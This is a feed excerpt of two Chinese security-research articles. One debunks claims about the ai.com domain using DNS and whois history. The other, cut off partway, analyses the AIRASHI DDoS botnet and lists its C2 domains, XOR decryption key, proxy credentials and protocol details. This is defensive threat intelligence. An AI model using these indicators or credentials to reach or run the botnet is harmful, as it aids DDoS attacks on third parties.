<p>顶级域名ai.com认证Deepseek? 本文基于多个数据维度，带大家一步步了解  ai.com 的真实历史和现状，帮助大家从纷繁复杂的信息中辨别真伪，同时也为大家提供一些技术背景知识，以便更全面地理解这一现象。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e675bcd9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbg68Gr9rIBweFqKXwst1ias0E2jRJG0mb6ypCeCKCPicsX6Bg5S9picHtOshSFg0ibicPibFT5go3s2vRSQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p dir="ltr"><span style="white-space: pre-wrap;">在互联网世界中，顶级这个词常常被赋予神秘而崇高的含义。最近有媒体报道称，“顶级域名的持有者ai.com现在跳转到deepseek,表明已经认可了deepseek的能力”，之前还有一些技术背景的人士声称 ai.com已被OpenAI 收购。这些信息听起来非常专业，似乎确凿无疑，但经过仔细查证后发现，这些都是误传或错误解读。随着 DeepSeek的迅速走红，市场上鱼龙混杂的信息大量涌现，真假难辨，容易让人混淆视听。由于大规模的基础数据支持，奇安信Xlab在多个领域拥有很好的全局视野，能够实时监测互联网中的各种活动，也因此能够从数据角度解读很多网络中发生的现象。</span></p><p dir="ltr"><br/><span style="white-space: pre-wrap;">本文正是基于我们的数据纬度，带大家一步步了解  ai.com 的真实历史和现状，帮助大家从纷繁复杂的信息中辨别真伪，同时也为大家提供一些技术背景知识，以便更全面地理解这一现象。</span></p><h2 dir="ltr"><span style="white-space: pre-wrap;font-size: 24px;">ai.com的前世今生</span></h2><p dir="ltr"><span style="white-space: pre-wrap;">公开的whois数据显示，ai.com域名注册于1993年。</span></p><h3 dir="ltr"><span style="white-space: pre-wrap;font-size: 20px;">待售状态</span></h3><blockquote dir="ltr"><span style="white-space: pre-wrap;">从我们自己的数据能够看到该域名的最早信息为2014年，再之前的状态缺乏数据不可考了。</span></blockquote><p dir="ltr"><span style="white-space: pre-wrap;">2014年之后的该域名为待售状态，并且其待售状态可以分为两部分：</span></p><p dir="ltr"><span style="white-space: pre-wrap;">其一为：从2014年10月07日 ～ 2019年3月这段时间，均属于</span><span style="white-space: pre-wrap;"> FUTURE MEDIA ARCHITECTS, INC. 公司</span><span style="white-space: pre-wrap;">。</span>Future Media Architects<span style="white-space: pre-wrap;"> 是一家已解散的互联网开发公司，成立于 2002 年，专注于收购和开发首屈一指的域名和 Web 资产。2019年3月该公司因为司法纠纷原因，该公司已经没有更新状态了。</span></p><p dir="ltr"><span style="white-space: pre-wrap;">其二为：2019年4月-2021年9月28日，ai.com属主进行了迁移并启用了隐私保护，从其名字服务器来看——</span><span style="white-space: pre-wrap;">buy.internettraffic.com</span><span style="white-space: pre-wrap;">, </span><span style="white-space: pre-wrap;">sell.internettraffic.com</span><span style="white-space: pre-wrap;">， 可以合理猜测其仍然处在待售状态。</span></p><h3 dir="ltr"><span style="white-space: pre-wrap;font-size: 20px;">蹭AI热点，待售状态</span></h3><p dir="ltr"><span style="white-space: pre-wrap;">从2021年9月28日开始一直到现在，该域名的名字服务器使用了clouflare的服务，正式的进入了AI时代。</span></p><h2 dir="ltr"><span style="white-space: pre-wrap;font-size: 20px;">整体时间线</span></h2><figure><img class="rich_pages wxw-img" data-imgfileid="100000303" data-ratio="0.49907407407407406" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1184a427&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbg68Gr9rIBweFqKXwst1ias0kJ5Or8tXPqwr2Zf31h6hKPBy60koO1rlKKUE5CEWAsEEvotHHgpvvA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><p dir="ltr"><span style="white-space: pre-wrap;">从DNS的解析结果，也可以看出该域名的类似变迁过程。从2021年9月份进入AI时代之后，其主要解析就两个位于cloudflare的IP地址104.21.89.14和172.67.155.131，非常稳定。</span></p><figure><img class="rich_pages wxw-img" data-imgfileid="100000304" data-ratio="0.5657407407407408" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ab0d505e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbg68Gr9rIBweFqKXwst1ias05hcefdibCibeavS5c4DMEb4oVkXsKKqg16DUwMXxIeYTJQtbB2iaESRcA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><h3 dir="ltr"><span style="white-space: pre-wrap;font-size: 20px;"><br/></span></h3><h3 dir="ltr"><span style="white-space: pre-wrap;font-size: 20px;">CloudFlare解析的IP地址分析</span></h3><p dir="ltr"><span style="white-space: pre-wrap;">我们利用passiveDNS数据（截止到2025-02-11）对ai.com解析到的Cloudflare地址进行分析发现：</span></p><ol class="list-paddingleft-1"><li><p><span style="white-space: pre-wrap;">在2025-01-01之后，这两个IP上承载的域名分别为1830和2157。</span></p></li><li><p><span style="white-space: pre-wrap;">这些域名中，访问量比较大的看起来都是一些灰色业务，比如色情，赌博网站</span></p></li></ol><p><br/></p><figure><img class="rich_pages wxw-img" data-imgfileid="100000306" data-ratio="0.9233644859813084" data-w="1070" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b5745eb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbg68Gr9rIBweFqKXwst1ias0hE38aaiaExsjaHwfMWHicS9kQIzlZr9sUm3L0j1ys5xy9bQ9QXWph4Ng%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><figure><br/></figure><p><br/></p><figure><img class="rich_pages wxw-img" data-imgfileid="100000305" data-ratio="0.8981481481481481" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b70be282&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbg68Gr9rIBweFqKXwst1ias0Jr00p8IeE5LS1dfHMXqpy4R7myurJDQYr9Ldm0xzXwkohbFhTkjTxw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><p dir="ltr"><span style="white-space: pre-wrap;"><br/></span></p><p dir="ltr"><span style="white-space: pre-wrap;">此外还有一些仿冒大站的业务。如下图中就有显著的仿冒Google（qooglevideo[.]com）和微软(cdnmicrosoft[.]com)的域名的情况。</span></p><figure><img class="rich_pages wxw-img" data-imgfileid="100000307" data-ratio="0.2796296296296296" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=773c2595&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbg68Gr9rIBweFqKXwst1ias0ItTyuYTgPiaeRibcGQ4TuJebTiaNtbaRacSCRMibIyxkDNGwWAyIiczAmQQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><p dir="ltr"><br/></p><p dir="ltr"><span style="font-size: 20px;white-space-collapse: preserve;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">web页面历史</span></p><p dir="ltr"><span style="white-space: pre-wrap;">在internetarchive上对ai.com 的web页面历史分析。可以看出，2022年3月份的时候，ai.com的出售页面显示其在saw.com（是一家做域名生意的公司）进行售卖。从上面的passiveDNS以及whois数据来看，该域名目前仍在该公司手中。</span></p><figure><img class="rich_pages wxw-img" data-imgfileid="100000308" data-ratio="0.31851851851851853" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=15f63814&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbg68Gr9rIBweFqKXwst1ias0eFEFf5KcA915ZORGKwhqwchCtnicQU3oibGLQxbWPGDQv3Jx4ls58Ibg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><p dir="ltr"><span style="white-space: pre-wrap;">其后该域名的指向变化较多，比如2023年2月的时候，曾经指向了一个telegram的以AI为主题的group。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000311" data-ratio="0.5601851851851852" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=01488f54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbg68Gr9rIBweFqKXwst1ias0p47xQrZIb6o7Gkejpy3FibxTeC3p0RY3GYI2WqicCT5B8llVprlQULcA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p dir="ltr"><span style="white-space-collapse: preserve;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">从2023年2月20号开始，它就开始指向了openai，随后就不断的在多个热门的大模型/AI公司之间不停的切换。</span><span style="white-space: pre-wrap;"></span></p><figure><img class="rich_pages wxw-img" data-imgfileid="100000309" data-ratio="0.62708719851577" data-w="1078" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=01ed55f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbg68Gr9rIBweFqKXwst1ias0cp9HPHZmQC4kaQ7tEowQam4fhFZb4icSMecDFA7G534p0iaz8EN9rhFQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><p dir="ltr"><br/></p><h2 dir="ltr"><span style="white-space: pre-wrap;font-size: 24px;">名不副实的“顶级域名”</span></h2><p dir="ltr"><span style="white-space: pre-wrap;">从数据中可以看得出来，ai.com这个域名曾经长期处于待售状态，2021年开始切入了AI时代，从其“委身”的IP地址来看，上面鱼龙混杂，其属主saw并没有将其包装出任何“顶级”属性。并且它短期内在多个不同的热门AI模型/应用之间进行切换倒流，颇有“见风使舵”的倾向。如今它跳转到deepseek也侧面说明了deepseek在当前AI界的热度。但我们完全没有必要将其奉为所谓“顶级域名”。它可能就是一个蹭热度用来自抬身价的投机者。</span></p><h2 dir="ltr"><span style="white-space: pre-wrap;font-size: 24px;">域名关联和热度</span></h2><p dir="ltr"><span style="white-space: pre-wrap;">我们利用PassiveDNS数据可以计算域名之间的关联/伴生关系，从下图可以看出，从20250209开始，ai.com与deepseek.com开始高度关联，说明ai.com从这天开始跳转到了deepseek.com。</span></p><figure><img alt="" class="rich_pages wxw-img" data-imgfileid="100000301" data-ratio="1.0018518518518518" width="2756" data-type="png" data-w="1080" height="2760" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=f262e8b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbg68Gr9rIBweFqKXwst1ias0hvatXSLpzBjruaP8B1VIGz32py3MDqUvO5xpKcrwTas3Crzsk8fBTA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><p dir="ltr"><span style="white-space: pre-wrap;">从我们PassiveDNS的数据来看，ai.com这个域名的访问量从20250209开始已经快速上涨。后续的热度还需要继续观察，我们希望它的上涨仅仅是因为媒体报道热起来的而不是真实的有用户在例行使用。</span></p><figure><img class="rich_pages wxw-img" data-imgfileid="100000310" data-ratio="0.13333333333333333" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=11c88459&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbg68Gr9rIBweFqKXwst1ias0jtTulvPGOQHftIhzbpJrzu4eauK8J3JhQAic2crRWavtjxFPwQfyibvQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><h2 dir="ltr"><span style="white-space: pre-wrap;font-size: 24px;"><br/></span></h2><h2 dir="ltr"><span style="white-space: pre-wrap;font-size: 24px;">安全建议</span></h2><p dir="ltr"><span style="white-space: pre-wrap;">从我们的数据看，ai.com其历史更多是一场投机炒作的缩影，域名始终处于待售或易变状态。这种现象在互联网历史中并不罕见，高价值域名往往成为炒作和投机的工具，实际使用中可能并不可靠。</span></p><p dir="ltr"><span style="white-space: pre-wrap;">用户千万不要把ai.com设置为自己对AI访问的入口，尤其是在生产系统中。一个是ai.com的后续的指向很有可能会变化，变化之后的新的页面/模型可能和现在的并不容见，影响自己的业务；再一个是ai.com的历史表明，其并不是一个稳定的状态，后续如果夹带其他的私货也未可知，从安全谨慎角度出发，也不建议将其设置为入口。更多信息请点击阅读原文</span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://blog.xlab.qianxin.com/ding-ji-yu-ming-ai-com/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e794b316&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247483963%26idx%3D1%26sn%3D13797c6a23d9c58d7a888c53704b0b47%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 14 Feb 2025 12:58:00 +0800</pubDate>
    </item>
    <item>
      <title>僵尸永远不死：大型僵尸网络AIRASHI近况分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247483943&amp;idx=1&amp;sn=c50a21fcc741855a44572a7cd3a7d45f</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>奇安信X实验室</span> <span>2025-01-15 12:51</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=02498328&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbghRl6aoZ8aKbNtsGkVzXI2HUCBEaF1S62VKicvmmOdic2NSPLe6hsPFbJIdjj7dBV1zMkuqwHuMwCQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="text-align: left;text-indent: 0em;"><span style="font-size: 20px;"><strong>概述</strong></span></h1><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">2024年8月XLab到观察</span><span style="font-size: 14px;">一次有预谋的针对国产游戏《黑神话悟空》发行平台 Steam 和 完美世界的大规模DDoS攻击事件</span><span style="font-size: 14px;">。此次攻击行动分为四个波次，攻击者精心挑选在各个时区的游戏玩家在线高峰时段发起长达数小时的持续攻击。并且同时攻击Steam和完美世界分布在全球13个地区的上百个服务器，以实现最大的破坏效果。而参与此次攻击行动的僵尸网络当时自称为AISURU。本文将要分析的正是AISURU僵尸网络的变种版本AIRASHI。</span></p><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">在上述攻击事件被曝光后，AISURU僵尸网络在9月短暂收手，停止了攻击活动。但在利益的驱使下10月对他们的僵尸网络进行了更新，根据样本特征我们命名为kitty。11月底，新的变种再次出现并在样本中11月底再次更新，并将僵尸网络更名为：AIRASHI。</span></p><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">当前AIRASHI僵尸网络主要有以下几个特点:</span></p><ul class="list-paddingleft-1"><li style="font-size: 14px;"><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">使用美国Cambium Networks公司的cnPilot路由器0DAY漏洞传播样本</span></p></li><li style="font-size: 14px;"><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">样本字符串使用RC4加密，CNC通信协议部分新增了HMAC-SHA256校验，使用chacha20加密</span></p></li><li style="font-size: 14px;"><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">CNC域名使用xlabresearch, xlabsecurity，foxthreatnointel等关键字，调侃XLAB和安全研究人员。</span></p></li><li style="font-size: 14px;"><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">稳定的T级别DDoS攻击能力</span></p></li><li style="font-size: 14px;"><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">控制端的IP资源较为丰富，域名解析的IP将近60个，分布多个在不同的国家和服务商。可能是为了承载更多的BOT端和增加摧毁僵尸网络的困难程度。下图是AIRASHI CNC xlabsecurity.ru Passive DNS记录。可以看到xlabsecurity.ru这个CNC 曾经解析到144个IP，这些IP分布在19个国家，10个AS号（Autonomous System Number, ASN）。</span></p></li></ul><p style="text-align: left;text-indent: 0em;"><img class="rich_pages wxw-img" data-imgfileid="100000271" data-ratio="0.6194444444444445" width="860" data-type="png" data-w="1080" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: middle;" src="https://wechat2rss.xlab.app/img-proxy/?k=6c79a4e4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbghRl6aoZ8aKbNtsGkVzXI2NhDq5V1DDdLWBQzNZggT7XcCuiaxW87dib9picLWBFicPkjVWqrzh7M8mQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1 style="text-align: left;text-indent: 0em;"><span style="font-size: 20px;"><strong>样本传播</strong></span></h1><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">依托于XLab大网威胁感知系统的能力，我们观察到AIRASHI样本主要通过NDAY漏洞和TELNET弱口令传播，同时具备0DAY漏洞的利用能力。我们观察到AIRASHI自去年6月开始使用美国Cambium Networks公司的cnPilot路由器0DAY漏洞传播样本，关于该0DAY漏洞去年6月份我们联系了厂家，但是没有得到厂家任何回应。为防止漏洞滥用，本文也不会涉及此漏洞信息。AIRASHI 使用的漏洞如下：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000292" data-ratio="1.1978193146417446" data-s="300,640" style="" data-type="png" data-w="642" src="https://wechat2rss.xlab.app/img-proxy/?k=e0bf0ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbghRl6aoZ8aKbNtsGkVzXI2IxcdjyA0s3KnH1chicMgYB3SZ8ANaqGv09sXptmj0n9ia37U2mZkbWkA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1 style="text-align: left;text-indent: 0em;"><span style="font-size: 20px;"><strong>攻击能力与攻击活动</strong></span></h1><h2 style="text-align: left;text-indent: 0em;"><strong><span style="font-size: 16px;">攻击能力</span></strong></h2><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">僵尸网络运营者通常通过社交媒体（如 Telegram、Discord 或论坛）展示其攻击能力，目的是吸引潜在客户或威慑竞争对手。为了证明僵尸网络的攻击能力，一些僵尸网络运营者会使用第三方提供的僵尸网络攻击能力测量服务来证明。他们驱动僵尸网络去攻击这些测量服务方提供的服务器，测量服务方会统计这些僵尸网络的攻击流量大小、包速率，攻击源地理位置信息、ASN，攻击方式等信息。僵尸网络运营者获得这些统计信息后将这些信息发布到他们的社交媒体以证明他们的攻击能力。</span></p><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">AIRASHI僵尸网络正是通过这种方式来证明他们的攻击能力。下图是他们的</span><span style="font-size: 14px;">一次攻击能力证明</span><span style="font-size: 14px;">：</span></p><p style="text-align: left;text-indent: 0em;"><img class="rich_pages wxw-img" data-imgfileid="100000272" data-ratio="0.6722222222222223" width="860" data-type="png" data-w="1080" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: middle;" src="https://wechat2rss.xlab.app/img-proxy/?k=4eb28aa0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbghRl6aoZ8aKbNtsGkVzXI2TU6Rmff8crbiaiclVWFVqIFpxzqemA9e1u6GFfOH0yibAKQWWWLpUtcKA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">可以看到图上的统计</span></p><ul class="list-paddingleft-1"><li style="font-size: 14px;"><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">当前攻击峰值: 3.11Tbps (270.52Mpps)</span></p></li><li style="font-size: 14px;"><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">测试用户ID: 66XXXXXXXX (此ID正是AIRASHI僵尸网络Telegram运营频道管理员的ID)</span></p></li><li style="font-size: 14px;"><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">更新时间: 2025-01-13 20:20:04 UTC</span></p></li><li style="font-size: 14px;"><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">攻击来源<br style="box-sizing: inherit;"/></span><img class="rich_pages wxw-img" data-imgfileid="100000273" data-ratio="0.6277602523659306" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: middle;" data-type="png" data-w="317" src="https://wechat2rss.xlab.app/img-proxy/?k=129dac09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbghRl6aoZ8aKbNtsGkVzXI2r8Lv0JdWDmX8xJ2VDTjvWba3gTXlIP44c4hTiafoIwZhubsE67tDHGQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></li></ul><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">AIRASHI的运营者一直在Telegram发布自己的DDoS能力测试结果，从历史数据可以看到AIRASHI僵尸网络的攻击能力稳定在1-3Tbps左右。</span></p><p style="text-align: left;text-indent: 0em;"><img class="rich_pages wxw-img" data-imgfileid="100000274" data-ratio="0.5907127429805615" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin-right: auto;margin-left: auto;vertical-align: middle;" data-type="jpeg" data-w="926" src="https://wechat2rss.xlab.app/img-proxy/?k=f045365e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FI28micxvFPbghRl6aoZ8aKbNtsGkVzXI280PbVelGNSicwAiaOkCU0DmbKzDz7ScpOzGMkbeveWdNBI6JQpyl9omg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><h2 style="text-align: left;text-indent: 0em;"><strong><span style="font-size: 16px;">攻击活动</span></strong></h2><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">AIRASHI僵尸网络的攻击目标遍布全球，分布在各个行业，主要攻击目标分布在中国、美国、波兰、俄罗斯等地区。并无明显的强针对性。每日攻击目标几百个左右。</span></p><p style="text-align: left;text-indent: 0em;"><img class="rich_pages wxw-img" data-imgfileid="100000275" data-ratio="0.2886100386100386" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin-right: auto;margin-left: auto;vertical-align: middle;" data-type="png" data-w="1036" src="https://wechat2rss.xlab.app/img-proxy/?k=be258437&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbghRl6aoZ8aKbNtsGkVzXI2ck7SjfMttUOQTQfzibYueoQDmqxfGozDTcRI5Ww8hjEHSnuh2Cd5gPA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h1 style="text-align: left;text-indent: 0em;"><span style="font-size: 20px;"><strong>样本分析</strong></span></h1><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">AIRASHI僵尸网络样本更新频繁，拥有多个版本，部分版本除了支持主要的DDoS功能和操作系统命令执行外还支持代理服务，下文以kitty 和 AIRASHI为主要分析对象，从字串解密，C2获取，通信协议，以及支持的指令等方面入手，剖析僵尸网络的技术细节。</span></p><h2 style="text-align: left;text-indent: 0em;"><strong><span style="font-size: 16px;">Part1: kitty-socks5 分析</span></strong></h2><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">kitty在2024年10月初开始传播，和Aisuru之前的样本相比，在网络协议方面进行精简；而在10月底使用socks5代理与C2通信，在字符串表中加密编码了250个代理和55个C2。</span></p><h3 style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;"><strong>0x1: 字串解密</strong></span></h3><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">字符串解码方面变化不大，解密方法仍使用xor_bytes，仅修改了key为DEADBEEFCAFEBABE1234567890ABCDEF，字符串表项数缩减为7。</span></p><p style="text-align: left;text-indent: 0em;"><img class="rich_pages wxw-img" data-imgfileid="100000276" data-ratio="0.4730290456431535" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin-right: auto;margin-left: auto;vertical-align: middle;" data-type="png" data-w="482" src="https://wechat2rss.xlab.app/img-proxy/?k=f7fcc8ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbghRl6aoZ8aKbNtsGkVzXI2hfjia4jyt0qHIqUgRurySlria3j89ZHpps6BXianhibASEkRs0r3SlDcJg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;"><strong>0x2: C2获取</strong></span></h3><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">C2获取方面，10月初删除了原先通过http获取C2ip的方法，继续使用|分割C2字符串，和之前一样每个域名都有20多个IP映射。</span></p><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">eg:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">dvrhelpers.su|ipcamlover.ru|xlabresearch.ru|xlabsecurity.ru</span></code></pre></section><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;"></span></p><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">但在10月底添加socks5后，字符串表添加代理项，并且C2和代理项都使用多组IP-PORT的字节序列编码。</span></p><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">eg:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">\x7f\x00\x00\x01\x00\x50代表127.0.0.1:80</span></code></pre></section><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;"></span></p><h3 style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;"><strong>0x3: 网络协议</strong></span></h3><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">网络协议方面仍使用和Fodcha僵尸网络类似的switch-case进行各个阶段的处理<br style="box-sizing: inherit;"/></span><img class="rich_pages wxw-img" data-imgfileid="100000277" data-ratio="0.9345335515548282" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin-right: auto;margin-left: auto;vertical-align: middle;" data-type="png" data-w="611" src="https://wechat2rss.xlab.app/img-proxy/?k=69e8c647&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbghRl6aoZ8aKbNtsGkVzXI2k8etNIUTuEQNEQYdBib5RQicaW4bb4hd32Grqde1qSJ8E8rBuTnibAuAA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">但在通信方面进行简化，最新样本使用socks5代理（使用身份验证）访问C2；</span></p><pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer">username: jjktkegl</span></code><code><span class="code-snippet_outer">password: 2bd463maabw5</span></code></pre></section><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;"><br/></span></p></pre><p style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">取消原先的密钥协商过程，通信流量也不再加密，上线包替换为Kitty-Kitty-Kitty，每隔2分钟向C2发生心跳包cat，C2返回meow!作为响应。</span></p><p style="text-align: left;text-indent: 0em;"><img class="rich_pages wxw-img" data-imgfileid="100000278" data-ratio="0.31953428201811124" style="box-sizing: inherit;border-width: 0px;border-style: initial;border-color: initial;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 20px;margin-right: 